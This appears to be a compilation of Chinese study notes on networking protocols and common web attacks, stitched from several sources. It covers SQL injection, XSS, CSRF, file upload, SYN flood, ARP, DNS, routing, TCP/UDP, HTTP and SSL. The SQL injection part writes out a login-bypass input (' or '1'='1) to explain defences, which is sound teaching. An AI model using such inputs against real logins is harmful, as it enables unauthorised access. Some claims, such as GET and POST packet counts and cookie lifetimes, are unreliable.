最重要的是,几乎所有通过种子下载的文件都是较大文件的片段,这使得监控此类流量成为防病毒和IPS系统的问题。
07
僵尸网络
在90%的案例中,受感染的计算机是僵尸网络的组成部分。从技术上讲,其文件没有被删除、加密或泄露。然而,在被污染的系统中,有一个很小的实用程序等待命令和控制服务器的指令。值得一提的是,这可能存在误报,其中安全解决方案将常规流量识别为僵尸网络的标志。无论如何,每一次这样的事件都要经过严格的调查。
是什么让僵尸服务器变得危险?
受感染的服务器可以在企业的网络内运行多年而不会暴露。它们可能永远不会造成伤害,但是很难预见到它们可能造成的影响。例如,这些服务器可能会下载加密勒索软件,并用它攻击整个网络。
08
观看非法视频
无论听起来多么奇怪,一些人在工作时间中观看非法视频。此外,这种流量是十分巨大的。在其中一次检查中,测试人员发现一名员工在两周内观看了26GB的视频。
为什么非法内容在工作中具有危险性?
这个问题起初看起来可能很有趣。如果将其从道德和伦理中脱离出来,那么问题在于用户在这种娱乐上花费太多时间。一般来说,诸如YouTube、社交媒体和信使之类的服务与工作效率并不匹配,尽管这个问题会带来一些争议。因此,企业需要评估可以帮助用户找出谁在浪费他们的工作时间,以及他们究竟在做什么。
其他问题
•针对企业数字基础设施的DDoS攻击
•基于漏洞的攻击
网络犯罪分子不仅可以攻击用户的电脑,还能够攻击企业的服务器。当然,还有许多其他的事件,其中用户下载恶意软件(包括零日感染),由于它们的体系结构更加复杂,并且需要更仔细的分析(毕竟还应该考虑误报的可能性),当前防御系统无法检测到这些。
防范常见的 Web 攻击
攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
用户登录,输入用户名 lianggzone,密码 ‘ or ‘1’=’1 ,如果此时使用参数构造的方式,就会出现
select * from user where name = ‘lianggzone’ and password = ‘’ or ‘1’=‘1’
不管用户名和密码是什么内容,使查询出来的用户列表不为空。如何防范SQL注入攻击使用预编译的PrepareStatement是必须的,但是一般我们会从两个方面同时入手。
Web端
1)有效性检验。
2)限制字符串输入的长度。
服务端
1)不用拼接SQL字符串。
2)使用预编译的PrepareStatement。
3)有效性检验。(为什么服务端还要做有效性检验?第一准则,外部都是不可信的,防止攻击者绕过Web端请求)
4)过滤SQL需要的参数中的特殊字符。比如单引号、双引号。
跨站点脚本攻击,指攻击者通过篡改网页,嵌入恶意脚本程序,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。如何防范XSS攻击
1)前端,服务端,同时需要字符串输入的长度限制。
2)前端,服务端,同时需要对HTML转义处理。将其中的”<”,”>”等特殊字符进行转义编码。
防 XSS 的核心是必须对输入的数据做过滤处理。
跨站点请求伪造,指攻击者通过跨站请求,以合法的用户的身份进行非法操作。可以这么理解CSRF攻击:攻击者盗用你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件,发短信,进行交易转账,甚至盗取账号信息。如何防范CSRF攻击
安全框架,例如Spring Security。
token机制。在HTTP请求中进行token验证,如果请求中没有token或者token内容不正确,则认为CSRF攻击而拒绝该请求。
验证码。通常情况下,验证码能够很好的遏制CSRF攻击,但是很多情况下,出于用户体验考虑,验证码只能作为一种辅助手段,而不是最主要的解决方案。
referer识别。在HTTP Header中有一个字段Referer,它记录了HTTP请求的来源地址。如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。但是,服务器并非都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不会发送Referer,例如HTTPS跳转到HTTP。
1)验证请求来源地址;
2)关键操作添加验证码;
3)在请求地址添加 token 并验证。
文件上传漏洞,指的是用户上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。
许多第三方框架、服务,都曾经被爆出文件上传漏洞,比如很早之前的Struts2,以及富文本编辑器等等,可被攻击者上传恶意代码,有可能服务端就被人黑了。如何防范文件上传漏洞
文件上传的目录设置为不可执行。
1)判断文件类型。在判断文件类型的时候,可以结合使用MIME Type,后缀检查等方式。因为对于上传文件,不能简单地通过后缀名称来判断文件的类型,因为攻击者可以将可执行文件的后缀名称改为图片或其他后缀类型,诱导用户执行。
2)对上传的文件类型进行白名单校验,只允许上传可靠类型。
3)上传的文件需要进行重新命名,使攻击者无法猜想上传文件的访问路径,将极大地增加攻击成本,同时向shell.php.rar.ara这种文件,因为重命名而无法成功实施攻击。
4)限制上传文件的大小。
5)单独设置文件服务器的域名。
客户端向服务端发送请求链接数据包,服务端向客户端发送确认数据包,客户端不向服务端发送确认数据包,服务器一直等待来自客户端的确认
没有彻底根治的办法,除非不使用TCP
DDos 预防:
1)限制同时打开SYN半链接的数目
2)缩短SYN半链接的Time out 时间
3)关闭不必要的服务
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。
1.发送ARP请求的以太网数据帧 广播 到以太网上的每个主机,ARP请求帧中包含了目的主机的IP地址。
2.目的主机收到了该ARP请求之后,会发送一个ARP应答,里面包含了目的主机的MAC地址。
ARP协议工作原理:
每个主机都会在自己的 ARP 缓冲区中建立一个 ARP 列表,以表示 IP 地址和 MAC 地址之间的对应关系。
主机(网络接口)新加入网络时(也可能只是mac地址发生变化,接口重启等), 会发送免费ARP报文把自己IP地址与Mac地址的映射关系广播给其他主机。
网络上的主机接收到免费ARP报文时,会更新自己的ARP缓冲区。将新的映射关系更新到自己的ARP表中。
某个主机需要发送报文时,首先检查 ARP 列表中是否有对应 IP 地址的目的主机的 MAC 地址,如果有,则直接发送数据,如果没有,就向本网段的所有主机发送 ARP 数据包,该数据包包括的内容有:源主机 IP 地址,源主机 MAC 地址,目的主机的 IP 地址等。
当本网络的所有主机收到该 ARP 数据包时:
(A)首先检查数据包中的 IP 地址是否是自己的 IP 地址,如果不是,则忽略该数据包。
(B)如果是,则首先从数据包中取出源主机的 IP 和 MAC 地址写入到 ARP 列表中,如果已经存在,则覆盖。
(C) 然后将自己的 MAC 地址写入 ARP 响应包中,告诉源主机自己是它想要找的 MAC 地址。
6.源主机收到 ARP 响应包后。将目的主机的 IP 和 MAC 地址写入 ARP 列表,并利用此信息发送数据。如果源主机一直没有收到 ARP 响应数据包,表示 ARP 查询失败。ARP高速缓存(即ARP表)是 ARP地址解析协议能够高效运行的关键
概括: 反向地址转换协议,网络层协议,RARP与ARP工作方式相反。 RARP使只知道自己硬件地址的主机能够知道其IP地址。RARP发出要反向解释的物理地址并希望返回其IP地址,应答包括能够提供所需信息的RARP服务器发出的IP地址。
原理:
(1)网络上的每台设备都会有一个独一无二的硬件地址,通常是由设备厂商分配的MAC地址。主机从网卡上读取MAC地址,然后在网络上发送一个RARP请求的广播数据包,请求RARP服务器回复该主机的IP地址。
(2)RARP服务器收到了RARP请求数据包,为其分配IP地址,并将RARP回应发送给主机。
(3)PC1收到RARP回应后,就使用得到的IP地址进行通讯。
将主机域名转换为ip地址,属于应用层协议,使用UDP传输。(DNS应用层协议,以前有个考官问过)
过程:
总结: 浏览器缓存,系统缓存,路由器缓存,IPS服务器缓存,根域名服务器缓存,顶级域名服务器缓存,主域名服务器缓存。
一、主机向本地域名服务器的查询一般都是采用递归查询。
二、本地域名服务器向根域名服务器的查询的迭代查询。
1)当用户输入域名时,浏览器先检查自己的缓存中是否 这个域名映射的ip地址,有解析结束。
2)若没命中,则检查操作系统缓存(如Windows的hosts)中有没有解析过的结果,有解析结束。
3)若无命中,则请求本地域名服务器解析( LDNS)。
4)若LDNS没有命中就直接跳到根域名服务器请求解析。根域名服务器返回给LDNS一个 主域名服务器地址。
5) 此时LDNS再发送请求给上一步返回的gTLD( 通用顶级域), 接受请求的gTLD查找并返回这个域名对应的Name Server的地址
6) Name Server根据映射关系表找到目标ip,返回给LDNS
7) LDNS缓存这个域名和对应的ip, 把解析的结果返回给用户,用户根据TTL值缓存到本地系统缓存中,域名解析过程至此结束
RIP是一种基于距离矢量(Distance-Vector)算法的协议,它使用跳数(Hop Count)作为度量来衡量到达目的网络的路由距离。RIP通过UDP报文进行路由信息的交换,使用的端口号为520。
RIP路由协议用“更新(UNPDATES)”和“请求(REQUESTS)”这两种分组来传输信息的。每个具有RIP协议功能的路由器每隔30秒用UDP520端口给与之直接相连的机器广播更新信息。并且在( 用“路程段数”(即“跳数”)作为网络距离的尺度。每个路由器在)给相邻路由器发出路由信息时,都会给每个路径加上内部距离。
路由器的收敛机制:
任何距离向量路由选择协议(如RIP)都有一个问题,路由器不知道网络的全局情况,路由器必须依靠相邻路由器来获取网络的可达信息。由于路由选择更新信息在网络上传播慢,距离向量路由选择算法有一个慢收敛问题,这个问题将导致不一致性产生。
RIP较少路由收敛机制带来的问题:
1)记数到无穷大机制: RIP协议允许最大跳数为15。大于15的目的地被认为是不可达。 当路径的跳数超过15,这条路径才从路由表中删除。
2) 水平分割法: 路由器不向路径到来的方向回传此路径。当打开路由器接口后,路由器记录路径是从哪个接口来的,并且不向此接口回传此路径。
3) 破坏逆转的水平分割法: 忽略在更新过程中从一个路由器获取的路径又传回该路由器
4)保持定时器法: 防止路由器在路径从路由表中删除后一定的时间内(通常为180秒)接受新的路由信息。 保证每个路由器都收到了路径不可达信息
5) 触发更新法: 当某个路径的跳数改变了,路由器立即发出更新信息,不管路由器是否到达常规信息更新时间都发出更新信息。
1、由于15跳为最大值,RIP只能应用于小规模网络;2、收敛速度慢;3、根据跳数选择的路由,不一定是最优路由。
OSPF(Open Shortest Pass First,开放最短路径优先协议),是一个最常用的内部网管协议,是一个链路状态协议。(网络层协议,)
原理:
OSPF组播的方式在所有开启OSPF的接口发送Hello包,用来确定是否有OSPF邻居,若发现了,则建立OSPF邻居关系,形成邻居表,之后互相发送LSA(链路状态通告)相互通告路由,形成LSDB(链路状态数据库)。再通过SPF算法,计算最佳路径(cost最小)后放入路由表。
1.TCP面向连接(如打电话要先拨号建立连接)提供可靠的服务;UDP是无连接的,即发送数据之前不需要建立连接,;UDP尽最大努力交付,即不保证可靠交付。(由于UDP无需建立连接,因此UDP不会引入建立连接的时延,TCP需要在端系统中维护连接状态,比如接受和发送缓存,拥塞控制,序号与确认号的参数等,故TCP会比UDP慢)
2.UDP具有较好的实时性,工作效率比TCP高,适用于对高速传输和实时性有较高的通信或广播通信。
3. 每一条TCP连接只能是一对一的;UDP支持一对一,一对多,多对一和多对多的交互通信
4 UDP分组首部开销小,TCP首部开销20字节;UDP的首部开销小,只有8个字节。
5. TCP面向字节流,实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的(一次交付一个完整的报文,报文不可分割,报文是UDP数据报处理的最小单位)。
6.UDP适合一次性传输较小数据的网络应用,如DNS,SNMP等
为了防止已失效的连接请求报文段突然又传送到了服务端,因而产生错误
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据
客户端先发送FIN,进入FIN_WAIT1状态,用来关闭Client到Server的数据传送
服务端收到FIN,发送ACK,进入CLOSE_WAIT状态,客户端收到这个ACK,进入FIN_WAIT2状态
服务端发送FIN,进入LAST_ACK状态,用来关闭Server到Client的数据传送
客户端收到FIN,发送ACK,进入TIME_WAIT状态,服务端收到ACK,进入CLOSE状态(等待2MSL时间,约4分钟。主要是防止最后一个ACK丢失。)
第一次挥手:主动关闭方发送一个FIN,用来关闭主动方到被动关闭方的数据传送,也就是主动关闭方告诉被动关闭方:我已经不 会再给你发数据了(当然,在fin包之前发送出去的数据,如果没有收到对应的ack确认报文,主动关闭方依然会重发这些数据),但是,此时主动关闭方还可 以接受数据。
第二次挥手:被动关闭方收到FIN包后,发送一个ACK给对方,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号)。
第三次挥手:被动关闭方发送一个FIN,用来关闭被动关闭方到主动关闭方的数据传送,也就是告诉主动关闭方,我的数据也发送完了,不会再给你发数据了。
第四次挥手:主动关闭方收到FIN后,发送一个ACK给被动关闭方,确认序号为收到序号+1,至此,完成四次挥手。
get是获取数据,post是修改数据
get把请求的数据放在url上, 以?分割URL和传输数据,参数之间以&相连,所以get不太安全。而post把数据放在HTTP的包体内(requrest body)
get提交的数据最大是2k( 限制实际上取决于浏览器), post理论上没有限制。
GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据); POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
GET请求会被浏览器主动缓存,而POST不会,除非手动设置。
GET是幂等的,而POST不是幂等的
Cookie和Session都是客户端与服务器之间保持状态的解决方案
1,存储的位置不同,cookie:存放在客户端,session:存放在服务端。Session存储的数据比较安全
2,存储的数据类型不同
两者都是key-value的结构,但针对value的类型是有差异的
cookie:value只能是字符串类型,session:value是Object类型
3,存储的数据大小限制不同
cookie:大小受浏览器的限制,很多是是4K的大小, session:理论上受当前内存的限制,
4,生命周期的控制
cookie的生命周期当浏览器关闭的时候,就消亡了
(1)cookie的生命周期是累计的,从创建时,就开始计时,20分钟后,cookie生命周期结束,
(2)session的生命周期是间隔的,从创建时,开始计时如在20分钟,没有访问session,那么session生命周期被销毁
session 的工作原理是客户端登录完成之后,服务器会创建对应的 session,session 创建完之后,会把 session 的 id 发送给客户端,客户端再存储到浏览器中。这样客户端每次访问服务器时,都会带着 sessionid,服务器拿到 sessionid 之后,在内存找到与之对应的 session 这样就可以正常工作了。
域名解析 --> 发起TCP的3次握手 --> 建立TCP连接后发起http请求 --> 服务器响应http请求,浏览器得到html代码 --> 浏览器解析html代码,并请求html代码中的资源(如js、css、图片等) --> 浏览器对页面进行渲染呈现给用户。
1.HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全, HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。
2. https协议需要到ca申请证书,一般免费证书较少,因而需要一定费用。
3、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。
https://www.cnblogs.com/wqhwe/p/5407468.html
物理层:利用传输介质为数据链路层提供物理连接,实现比特流的透明传输。
数据链路层:接收来自物理层的位流形式的数据,并封装成帧,传送到上一层
网络层:将网络地址翻译成对应的物理地址,并通过路由选择算法为分组通过通信子网选择最适当的路径。
传输层:在源端与目的端之间提供可靠的透明数据传输
会话层:负责在网络中的两节点之间建立、维持和终止通信
表示层:处理用户信息的表示问题,数据的编码,压缩和解压缩,数据的加密和解密
应用层:为用户的应用进程提供网络通信服务
在HTTP/1.0中默认使用短连接。也就是说,客户端和服务器每进行一次HTTP操作,就建立一次连接,任务结束就中断连接。而从HTTP/1.1起,默认使用长连接,用以保持连接特性。什么是TCP粘包/拆包?发生原因?解决方案 一个完整的业务可能会被TCP拆分成多个包进行发送,也有可能把多个小的包封装成一个大的数据包发送,这个就是TCP的拆包和粘包问题。原因:1. 应用程序写入数据的字节大小大于套接字发送缓冲区的大小.2. 进行MSS大小的TCP分段。( MSS=TCP报文段长度-TCP首部长度)3. 以太网的payload大于MTU进行IP分片。( MTU指:一种通信协议的某一层上面所能通过的最大数据包大小。)解决方案:1. 消息定长。2. 在包尾部增加回车或者空格符等特殊字符进行分割3. 将消息分为消息头和消息尾。4. 使用其它复杂的协议,如RTMP协议等。
1. 三次握手。
2. 将数据截断为合理的长度。应用数据被分割成 TCP 认为最适合发送的数据块(按字节编号,合理分片)
3. 超时重发。当 TCP 发出一个段后,它启动一个定时器,如果不能及时收到一个确认就重发
4. 确认应答:对于收到的请求,给出确认响应
5. 校验和:校验出包有错,丢弃报文段,不给出响应
6. 序列号:对失序数据进行重新排序,然后才交给应用层
7. 丢弃重复数据:对于重复数据 , 能够丢弃重复数据
8. 流量控制。TCP 连接的每一方都有固定大小的缓冲空间。TCP 的接收端只允许另一端发送接收端缓冲区所能接纳的数据。这将防止较快主机致使较慢主机的缓冲区溢出。
9. 拥塞控制。当网络拥塞时,减少数据的发送。
1
2
3
4
5
6
7
8
9
校验和
序列号
确认应答
超时重传
连接管理
流量控制
拥塞控制
200 OK //客户端请求成功403 Forbidden //服务器收到请求,但是拒绝提供服务
404 Not Found //请求资源不存在,eg:输入了错误的URL
500 Internal Server Error //服务器发生不可预期的错误URI和URL的区别URI,统一资源标识符,用来唯一的标识一个资源。URL可以用来标识一个资源,而且还指明了如何定位这个资源。
什么是SSL ?https是如何保证数据传输的安全(SSL是怎么工作保证安全的)
SSL代表安全套接字层。它是一种用于加密和验证应用程序(如浏览器)和Web服务器之间发送的数据的协议。 身份验证 , 加密Https的加密机制是一种共享密钥加密和公开密钥加密并用的混合加密机制。SSL/TLS协议作用:认证用户和服务,加密数据,维护数据的完整性的应用层协议加密和解密需要两个不同的密钥,故被称为非对称加密;加密和解密都使用同一个密钥的 对称加密。 优点在于加密、解密效率通常比较高HTTPS 是基于非对称加密的, 公钥是公开的,
(1)客户端向服务器端发起SSL连接请求;
(2) 服务器把公钥发送给客户端,并且服务器端保存着唯一的私钥
(3)客户端用公钥对双方通信的对称秘钥进行加密,并发送给服务器端
(4)服务器利用自己唯一的私钥对客户端发来的对称秘钥进行解密,
(5)进行数据传输,服务器和客户端双方用公有的相同的对称秘钥对数据进行加密解密,可以保证在数据收发过程中的安全,即是第三方获得数据包,也无法对其进行加密,解密和篡改。
因为数字签名、摘要是证书防伪非常关键的武器。 “摘要”就是对传输的内容,通过hash算法计算出一段固定长度的串。然后,在通过CA的私钥对这段摘要进行加密,加密后得到的结果就是“数字签名”
SSL/TLS协议的基本思路是采用公钥加密法,也就是说,客户端先向服务器端索要公钥,然后用公钥加密信息,服务器收到密文后,用自己的私钥解密。
如何保证公钥不被篡改?
将公钥放在数字证书中。只要证书是可信的,公钥就是可信的。
公钥加密计算量太大,如何减少耗用的时间?
每一次对话(session),客户端和服务器端都生成一个"对话密钥"(session key),用它来加密信息。由于"对话密钥"是对称加密,所以运算速度非常快,而服务器公钥只用于加密"对话密钥"本身,这样就减少了加密运算的消耗时间。
(1) 客户端向服务器端索要并验证公钥。
(2) 双方协商生成"对话密钥"。
(3) 双方采用"对话密钥"进行加密通信。上面过程的前两步,又称为"握手阶段"(handshake)。
《计算机网络》书本:
SSL工作过程,A:客户端,B:服务器端
1.协商加密算法:A向B发送SSL版本号和可选加密算法,B选择自己支持的算法并告知A
2.服务器鉴别:B向A发送包含公钥的数字证书,A使用CA公开发布的公钥对证书进行验证
3.会话密钥计算:A产生一个随机秘密数,用B的公钥进行加密后发送给B,B根据协商的算法产生共享的对称会话密钥并发送给A.
4.安全数据传输:双方用会话密钥加密和解密它们之间传送的数据并验证其完整性
TCP对应的应用层协议
FTP:定义了文件传输协议,使用21端口.
Telnet:它是一种用于远程登陆的端口,23端口
SMTP:定义了简单邮件传送协议,服务器开放的是25号端口。
POP3:它是和SMTP对应,POP3用于接收邮件。
HTTP
UDP对应的应用层协议
DNS:用于域名解析服务,用的是53号端口
SNMP:简单网络管理协议,使用161号端口
TFTP(Trival File Transfer Protocal):简单文件传输协议,69